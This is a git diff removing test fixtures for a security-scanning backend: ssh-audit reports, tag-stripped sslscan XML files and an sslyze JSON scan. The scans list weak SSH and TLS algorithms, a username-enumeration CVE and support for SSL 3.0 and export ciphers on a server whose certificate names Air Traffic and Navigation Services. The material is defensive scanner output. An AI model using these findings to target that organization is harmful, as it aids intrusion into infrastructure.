blowfish-cbc -- [fail] disabled since Dropbear SSH 0.53 -(enc) blowfish-cbc -- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm -(enc) blowfish-cbc -- [warn] using weak cipher mode -(enc) blowfish-cbc -- [warn] using small 64-bit block size -(enc) blowfish-cbc -- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28 -(enc) 3des-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm -(enc) 3des-cbc -- [warn] disabled (in client) since OpenSSH 7.4, unsafe algorithm -(enc) 3des-cbc -- [warn] using weak cipher -(enc) 3des-cbc -- [warn] using weak cipher mode -(enc) 3des-cbc -- [warn] using small 64-bit block size -(enc) 3des-cbc -- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28 -(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode -(mac) hmac-sha2-256 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 -(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode -(mac) hmac-sha2-512 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 -(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode -(mac) hmac-sha1 -- [warn] using weak hashing algorithm -(mac) hmac-sha1 -- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28 -(fin) ssh-rsa: SHA256:ytuGwbpvc9QRltCF9oSbSvyhsNOBaTCLlura//V9Gnw -(fin) ssh-rsa: MD5:34:f3:32:c6:e8:50:23:6a:67:23:bd:58:a3:88:e3:a6 -- [info] do not rely on MD5 fingerprints for server identification; it is insecure for this use case -(rec) -3des-cbc-- enc algorithm to remove -(rec) -aes128-cbc-- enc algorithm to remove -(rec) -aes192-cbc-- enc algorithm to remove -(rec) -aes256-cbc-- enc algorithm to remove -(rec) -blowfish-cbc-- enc algorithm to remove -(rec) -diffie-hellman-group1-sha1-- kex algorithm to remove -(rec) -ecdh-sha2-nistp256-- kex algorithm to remove -(rec) -ssh-rsa-- key algorithm to remove -(rec) +ssh-ed25519-- key algorithm to append -(rec) -diffie-hellman-group14-sha1-- kex algorithm to remove -(rec) -hmac-sha1-- mac algorithm to remove -(rec) -hmac-sha2-256-- mac algorithm to remove -(rec) -hmac-sha2-512-- mac algorithm to remove -(nfo) For hardening guides on common OSes, please see: \ No newline at end of file diff --git a/src/backend/testing/data/reports/ssh_audit/cve_2018_15473.txt b/src/backend/testing/data/reports/ssh_audit/cve_2018_15473.txt deleted file mode 100644 index 6c8072d8b..000000000 --- a/src/backend/testing/data/reports/ssh_audit/cve_2018_15473.txt +++ /dev/null @@ -1,73 +0,0 @@ -Starting audit of 10.10.10.10... -(gen) banner: SSH-2.0-OpenSSH_7.7 -(gen) software: OpenSSH 7.7 -(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+ -(gen) compression: enabled (zlib@openssh.com) -(cve) CVE-2018-15473 -- (CVSSv2: 5.3) enumerate usernames due to timing discrepencies -(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76 -(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62 -(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves -(kex) ecdh-sha2-nistp256 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves -(kex) ecdh-sha2-nistp384 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves -(kex) ecdh-sha2-nistp521 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(kex) diffie-hellman-group-exchange-sha256 (2048-bit) -- [info] available since OpenSSH 4.4 -(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73 -(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3 -(kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73 -(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm -(kex) diffie-hellman-group14-sha1 -- [info] available since OpenSSH 3.9, Dropbear SSH 0.53 -(key) ssh-rsa (2048-bit) -- [fail] using weak hashing algorithm -(key) ssh-rsa (2048-bit) -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28 -(key) ssh-rsa (2048-bit) -- [info] a future deprecation notice has been issued in OpenSSH 8.2: https://www.openssh.com/txt/release-8.2 -(key) rsa-sha2-512 (2048-bit) -- [info] available since OpenSSH 7.2 -(key) rsa-sha2-256 (2048-bit) -- [info] available since OpenSSH 7.2 -(key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves -(key) ecdsa-sha2-nistp256 -- [warn] using weak random number generator could reveal the key -(key) ecdsa-sha2-nistp256 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(key) ssh-ed25519 -- [info] available since OpenSSH 6.5 -(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5 -(enc) chacha20-poly1305@openssh.com -- [info] default cipher since OpenSSH 6.9. -(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 -(enc) aes192-ctr -- [info] available since OpenSSH 3.7 -(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 -(enc) aes128-gcm@openssh.com -- [info] available since OpenSSH 6.2 -(enc) aes256-gcm@openssh.com -- [info] available since OpenSSH 6.2 -(mac) umac-64-etm@openssh.com -- [warn] using small 64-bit tag size -(mac) umac-64-etm@openssh.com -- [info] available since OpenSSH 6.2 -(mac) umac-128-etm@openssh.com -- [info] available since OpenSSH 6.2 -(mac) hmac-sha2-256-etm@openssh.com -- [info] available since OpenSSH 6.2 -(mac) hmac-sha2-512-etm@openssh.com -- [info] available since OpenSSH 6.2 -(mac) hmac-sha1-etm@openssh.com -- [warn] using weak hashing algorithm -(mac) hmac-sha1-etm@openssh.com -- [info] available since OpenSSH 6.2 -(mac) umac-64@openssh.com -- [warn] using encrypt-and-MAC mode -(mac) umac-64@openssh.com -- [warn] using small 64-bit tag size -(mac) umac-64@openssh.com -- [info] available since OpenSSH 4.7 -(mac) umac-128@openssh.com -- [warn] using encrypt-and-MAC mode -(mac) umac-128@openssh.com -- [info] available since OpenSSH 6.2 -(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode -(mac) hmac-sha2-256 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 -(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode -(mac) hmac-sha2-512 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 -(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode -(mac) hmac-sha1 -- [warn] using weak hashing algorithm -(mac) hmac-sha1 -- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28 -(fin) ssh-ed25519: SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ -(fin) ssh-ed25519: MD5:4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 -- [info] do not rely on MD5 fingerprints for server identification; it is insecure for this use case -(fin) ssh-rsa: SHA256:dsUn+gzli73a8Qq2qrCyXwerF566QDQdNsaVRENC2Rg -(fin) ssh-rsa: MD5:1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce -- [info] do not rely on MD5 fingerprints for server identification; it is insecure for this use case -(rec) -ecdh-sha2-nistp256-- kex algorithm to remove -(rec) -ecdh-sha2-nistp384-- kex algorithm to remove -(rec) -ecdh-sha2-nistp521-- kex algorithm to remove -(rec) -ecdsa-sha2-nistp256-- key algorithm to remove -(rec) -ssh-rsa-- key algorithm to remove -(rec) -diffie-hellman-group14-sha1-- kex algorithm to remove -(rec) -hmac-sha1-- mac algorithm to remove -(rec) -hmac-sha1-etm@openssh.com-- mac algorithm to remove -(rec) -hmac-sha2-256-- mac algorithm to remove -(rec) -hmac-sha2-512-- mac algorithm to remove -(rec) -umac-128@openssh.com-- mac algorithm to remove -(rec) -umac-64-etm@openssh.com-- mac algorithm to remove -(rec) -umac-64@openssh.com-- mac algorithm to remove -(nfo) For hardening guides on common OSes, please see: \ No newline at end of file diff --git a/src/backend/testing/data/reports/sslscan/heartbleed.xml b/src/backend/testing/data/reports/sslscan/heartbleed.xml deleted file mode 100644 index 4d0fedde1..000000000 --- a/src/backend/testing/data/reports/sslscan/heartbleed.xml +++ /dev/null @@ -1,48 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sha256WithRSAEncryption - - - - - false - Jul 21 00:00:00 2020 GMT - Sep 8 12:00:00 2022 GMT - false - - - - diff --git a/src/backend/testing/data/reports/sslscan/insecure-renegotiation.xml b/src/backend/testing/data/reports/sslscan/insecure-renegotiation.xml deleted file mode 100644 index deaa7bf1f..000000000 --- a/src/backend/testing/data/reports/sslscan/insecure-renegotiation.xml +++ /dev/null @@ -1,42 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sha256WithRSAEncryption - - - - - false - Sep 9 00:00:00 2021 GMT - Sep 16 23:59:59 2022 GMT - false - - - - diff --git a/src/backend/testing/data/reports/sslscan/protocols.xml b/src/backend/testing/data/reports/sslscan/protocols.xml deleted file mode 100644 index e5ee2bc6a..000000000 --- a/src/backend/testing/data/reports/sslscan/protocols.xml +++ /dev/null @@ -1,55 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sha256WithRSAEncryption - - - - - false - Jan 6 06:34:58 2022 GMT - Jan 4 06:34:58 2030 GMT - false - - - - diff --git a/src/backend/testing/data/reports/sslyze/insecure-renegotiation.json b/src/backend/testing/data/reports/sslyze/insecure-renegotiation.json deleted file mode 100644 index 7f4051d13..000000000 --- a/src/backend/testing/data/reports/sslyze/insecure-renegotiation.json +++ /dev/null @@ -1,4316 +0,0 @@ -{ - "date_scans_completed": "2022-02-19T10:47:59.466734", - "date_scans_started": "2022-02-19T10:46:56.576539", - "server_scan_results": [ - { - "connectivity_error_trace": null, - "connectivity_result": { - "cipher_suite_supported": "DHE-RSA-AES256-SHA", - "client_auth_requirement": "DISABLED", - "highest_tls_version_supported": "TLS_1_0", - "supports_ecdh_key_exchange": false - }, - "connectivity_status": "COMPLETED", - "network_configuration": { - "network_max_retries": 3, - "network_timeout": 5, - "tls_client_auth_credentials": null, - "tls_opportunistic_encryption": null, - "tls_server_name_indication": "10.10.10.10", - "xmpp_to_hostname": null - }, - "scan_result": { - "certificate_info": { - "error_reason": null, - "error_trace": null, - "result": { - "certificate_deployments": [ - { - "leaf_certificate_has_must_staple_extension": false, - "leaf_certificate_is_ev": false, - "leaf_certificate_signed_certificate_timestamps_count": 3, - "leaf_certificate_subject_matches_hostname": true, - "ocsp_response": null, - "ocsp_response_is_trusted": null, - "path_validation_results": [ - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Android", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/google_aosp.pem", - "version": "12.0.0_r9" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Apple", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/apple.pem", - "version": "iOS 15, iPadOS 15, macOS 12, tvOS 15, and watchOS 8" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Java", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/oracle_java.pem", - "version": "jdk-13.0.2" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": [ - { - "dotted_string": "1.2.276.0.44.1.1.1.4", - "name": "Unknown OID" - }, - { - "dotted_string": "1.2.392.200091.100.721.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.2.40.0.17.1.22", - "name": "Unknown OID" - }, - { - "dotted_string": "1.2.616.1.113527.2.5.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.159.1.17.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.13177.10.1.3.10", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.14370.1.6", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.14777.6.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.14777.6.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.14.2.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.14.2.2.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.8.12.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.17326.10.8.12.2.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.22234.2.5.2.3.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.23223.1.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.29836.1.10", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.3", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.34697.2.4", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.36305.2", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.40869.1.1.22.3", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.4146.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.4788.2.202.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.6334.1.100.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.6449.1.2.1.5.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.782.1.2.1.8.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.7879.13.24.1", - "name": "Unknown OID" - }, - { - "dotted_string": "1.3.6.1.4.1.8024.0.2.100.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.156.112554.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.528.1.1003.1.2.7", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.578.1.26.1.3.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.756.1.83.21.0", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.756.1.89.1.2.1.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.792.3.0.3.1.1.5", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.792.3.0.4.1.1.4", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.113733.1.7.23.6", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.113733.1.7.48.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114028.10.1.2", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114171.500.9", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114404.1.1.2.4.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114412.2.1", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114413.1.7.23.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114414.1.7.23.3", - "name": "Unknown OID" - }, - { - "dotted_string": "2.16.840.1.114414.1.7.24.3", - "name": "Unknown OID" - } - ], - "name": "Mozilla", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/mozilla_nss.pem", - "version": "2021-12-19" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - }, - { - "openssl_error_string": "unable to get local issuer certificate", - "trust_store": { - "ev_oids": null, - "name": "Windows", - "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/microsoft_windows.pem", - "version": "2021-11-28" - }, - "verified_certificate_chain": null, - "was_validation_successful": false - } - ], - "received_certificate_chain": [ - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIG1DCCBbygAwIBAgIQAz5aTczehjYaNZ27CYNhKjANBgkqhkiG9w0BAQsFADBP\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMSkwJwYDVQQDEyBE\naWdpQ2VydCBUTFMgUlNBIFNIQTI1NiAyMDIwIENBMTAeFw0yMTA5MDkwMDAwMDBa\nFw0yMjA5MTYyMzU5NTlaMIGCMQswCQYDVQQGEwJaQTEQMA4GA1UECBMHR2F1dGVu\nZzEVMBMGA1UEBxMMSm9oYW5uZXNidXJnMSwwKgYDVQQKEyNBaXIgVHJhZmZpYyBh\nbmQgTmF2aWdhdGlvbiBTZXJ2aWNlczEcMBoGA1UEAxMTZmlsZTJmbHkuYXRucy5j\nby56YTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO53zeHfo0yyLljk\nuQuI058mM/CIoRNOriV1av1kPyYLtssdYwbFcjE0UUtvKRwW6azklTRPMASMXmcj\nQXSwe8lSFJp8mtmdF5x6+znYpNx1x6dCZ2VqI09JrMDOavq7WPUbS+vtboe2xK3I\naSAmVHiHTe7VnoxixHdGs5ASBhbBqpdJDqBEPAPg7OmuCnknte4g631aSUt+sKtc\n2TL7LvnyuCx+3t+O8NHS0PFSBp8uFkeGniCJ2AFXoR+YYAJOzQISKJHK1HjoL7eJ\nmtTOp9DpG+AQrZRbQlIx3bWxUMamxgAOxaY0tnpeTiYukK8+vL696UWz+o6Nr4xU\nmsBz/DkCAwEAAaOCA3YwggNyMB8GA1UdIwQYMBaAFLdrouqoqoSMeeq02g+YssWV\ndrn0MB0GA1UdDgQWBBRqMZdeulhL5g0IaS/DfdkUnv1vpzAeBgNVHREEFzAVghNm\naWxlMmZseS5hdG5zLmNvLnphMA4GA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggr\nBgEFBQcDAQYIKwYBBQUHAwIwgY8GA1UdHwSBhzCBhDBAoD6gPIY6aHR0cDovL2Ny\nbDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VExTUlNBU0hBMjU2MjAyMENBMS0zLmNy\nbDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VExTUlNB\nU0hBMjU2MjAyMENBMS0zLmNybDA+BgNVHSAENzA1MDMGBmeBDAECAjApMCcGCCsG\nAQUFBwIBFhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwfwYIKwYBBQUHAQEE\nczBxMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSQYIKwYB\nBQUHMAKGPWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRMU1JT\nQVNIQTI1NjIwMjBDQTEtMS5jcnQwDAYDVR0TAQH/BAIwADCCAX4GCisGAQQB1nkC\nBAIEggFuBIIBagFoAHUAKXm+8J45OSHwVnOfY6V35b5XfZxgCvj5TV0mXCVdx4QA\nAAF7yhqdmgAABAMARjBEAiB5osvg2Rbbcrl0bhSvmoLElcb18DHalNjFD8wu32+6\ncgIgcgFMkgcyUFn38DtoEBhwWsHrt89ZmERzz8EM8Mn8n2cAdwBRo7D1/QF5nFZt\nuDd4jwykeswbJ8v3nohCmg3+1IsF5QAAAXvKGp2fAAAEAwBIMEYCIQDRZ1FIEWWt\n4/ZeruJUv/oKTBSwTO1hxCBhWAerry4+OgIhAL0gHM0mBJRj7Swy4A1gjOAjGn2j\nTb7zAkJ3Bfe4oOlNAHYAQcjKsd8iRkoQxqE6CUKHXk4xixsD6+tLx2jwkGKWBvYA\nAAF7yhqdGQAABAMARzBFAiEAv3vTdOby13tJL7lqWw9LnlwKrT7hmefC/phVhm+M\nZ0oCIETIJe/5F3j+DQVUbjgK+lwy0C3bYFMTFy0ORw6tHxTmMA0GCSqGSIb3DQEB\nCwUAA4IBAQCLe3SBvl/v7DNexk7GpS8m4SeVWWEslO6zX1CFWH8PF5FFZ75FvlPT\nbazcHBv1TrwJuP++48EDYY0ed/cJWnH1OSOBl1fl2Rj9fLaHqL6AcPmFDZCzu6fN\nhMy7iY6FpxYIgEbqW/VUOiyG60MppEA5S68gs795QKWyZjtVh1NWbjQ3LMJfeN2H\n8r2LhPzthR+sXvdyJ4+Rb4wn3j+xCHldUBQ3WQ/D4AGVuMfVXw2kT1YSgld1KmAJ\nqIyFYo/w5XlIjD/v4+B2lXCia6XFAQRM/hRHEt2X6VCkQYK6k6kKTw3Kiw+E1eo8\nPtOOSzku3Oj8FO1v3flyYJhPuTMzpKHS\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "gf2Y/iUFxpBlRdtpeGC+disLxN8=", - "fingerprint_sha256": "vI+77F1tKB4QZAKizcCcwIykhwkI/3aY3Ov/pNbz4JY=", - "hpkp_pin": "rpVV+JdDj5J0eR1t+Y9lI4LVTabPGJyFTDWW+1WwInQ=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert TLS RSA SHA256 2020 CA1", - "value": "DigiCert TLS RSA SHA256 2020 CA1" - } - ], - "rfc4514_string": "CN=DigiCert TLS RSA SHA256 2020 CA1,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2022-09-16T23:59:59", - "not_valid_before": "2021-09-09T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 30103794248508566227106254281603654511845777227720510336840462141320800637242089948330954312939160974634428990261332267008245590045719868409069992095077877088925367206906802593336360211870255449255880206262725291490948217296012036885768110210080182180033263176481239694915659914552325009880498905913191476407566129358591593406779354434665745416480552742390174068291802102372873726751907710438522680872366623813576417850546193540710513039853597669544631137090093817269850399525477495163473504938630576111958135554877142804980988656083931921143762149432661006440618147336722480850188035295961468326400608314500607900729 - }, - "serial_number": 4311437973420706511002777163562967338, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=ZA", - "value": "ZA" - }, - { - "oid": { - "dotted_string": "2.5.4.8", - "name": "stateOrProvinceName" - }, - "rfc4514_string": "ST=Gauteng", - "value": "Gauteng" - }, - { - "oid": { - "dotted_string": "2.5.4.7", - "name": "localityName" - }, - "rfc4514_string": "L=Johannesburg", - "value": "Johannesburg" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=Air Traffic and Navigation Services", - "value": "Air Traffic and Navigation Services" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=10.10.10.10", - "value": "10.10.10.10" - } - ], - "rfc4514_string": "CN=10.10.10.10,O=Air Traffic and Navigation Services,L=Johannesburg,ST=Gauteng,C=ZA" - }, - "subject_alternative_name": { - "dns": [ - "10.10.10.10" - ] - } - } - ], - "received_chain_contains_anchor_certificate": null, - "received_chain_has_valid_order": true, - "verified_certificate_chain": null, - "verified_chain_has_legacy_symantec_anchor": null, - "verified_chain_has_sha1_signature": null - } - ], - "hostname_used_for_server_name_indication": "10.10.10.10" - }, - "status": "COMPLETED" - }, - "elliptic_curves": { - "error_reason": null, - "error_trace": null, - "result": { - "rejected_curves": null, - "supported_curves": null, - "supports_ecdh_key_exchange": false - }, - "status": "COMPLETED" - }, - "heartbleed": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_heartbleed": false - }, - "status": "COMPLETED" - }, - "http_headers": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "openssl_ccs_injection": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_ccs_injection": false - }, - "status": "COMPLETED" - }, - "robot": { - "error_reason": null, - "error_trace": null, - "result": { - "robot_result": "NOT_VULNERABLE_NO_ORACLE" - }, - "status": "COMPLETED" - }, - "session_renegotiation": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_client_renegotiation_dos": true, - "supports_secure_renegotiation": false - }, - "status": "COMPLETED" - }, - "session_resumption": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "ssl_2_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_RC4_128_WITH_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "TLS error: no ciphers list" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "SSL_CK_RC4_128_EXPORT40_WITH_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "TLS error: no ciphers list" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_RC2_128_CBC_WITH_MD5", - "openssl_name": "RC2-CBC-MD5" - }, - "error_message": "TLS error: no ciphers list" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "TLS error: no ciphers list" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_IDEA_128_CBC_WITH_MD5", - "openssl_name": "IDEA-CBC-MD5" - }, - "error_message": "TLS error: no ciphers list" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "SSL_CK_DES_64_CBC_WITH_MD5", - "openssl_name": "DES-CBC-MD5" - }, - "error_message": "TLS error: no ciphers list" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "SSL_CK_DES_192_EDE3_CBC_WITH_MD5", - "openssl_name": "DES-CBC3-MD5" - }, - "error_message": "TLS error: no ciphers list" - } - ], - "tls_version_used": "SSL_2_0" - }, - "status": "COMPLETED" - }, - "ssl_3_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": 